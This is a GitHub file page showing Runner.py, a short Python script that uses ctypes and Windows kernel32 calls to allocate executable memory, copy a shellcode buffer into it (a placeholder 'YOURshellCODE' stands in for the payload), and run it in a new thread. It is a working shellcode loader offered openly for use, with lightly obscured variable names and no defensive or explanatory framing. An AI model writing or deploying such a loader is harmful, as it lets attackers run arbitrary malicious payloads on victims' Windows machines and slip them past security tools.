-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathRunner.py
More file actions
22 lines (17 loc) · 754 Bytes
/
Runner.py
File metadata and controls
22 lines (17 loc) · 754 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import ctypes as kk
def O():
b_x = b"YOURshellCODE"
kk.windll.kernel32.VirtualAlloc.restype = kk.c_void_p
kk.windll.kernel32.CreateThread.argtypes = (
kk.c_int, kk.c_int, kk.c_void_p, kk.c_int, kk.c_int, kk.POINTER(kk.c_int)
)
spc = kk.windll.kernel32.VirtualAlloc(
kk.c_int(0), kk.c_int(len(b_x)), kk.c_int(0x3000), kk.c_int(0x40)
)
bf = (kk.c_char * len(b_x)).from_buffer_copy(b_x)
kk.windll.kernel32.RtlMoveMemory(kk.c_void_p(spc), bf, kk.c_int(len(b_x)))
hndl = kk.windll.kernel32.CreateThread(
kk.c_int(0), kk.c_int(0), kk.c_void_p(spc), kk.c_int(0), kk.c_int(0),
kk.pointer(kk.c_int(0))
)
kk.windll.kernel32.WaitForSingleObject(hndl, kk.c_uint32(0xffffffff))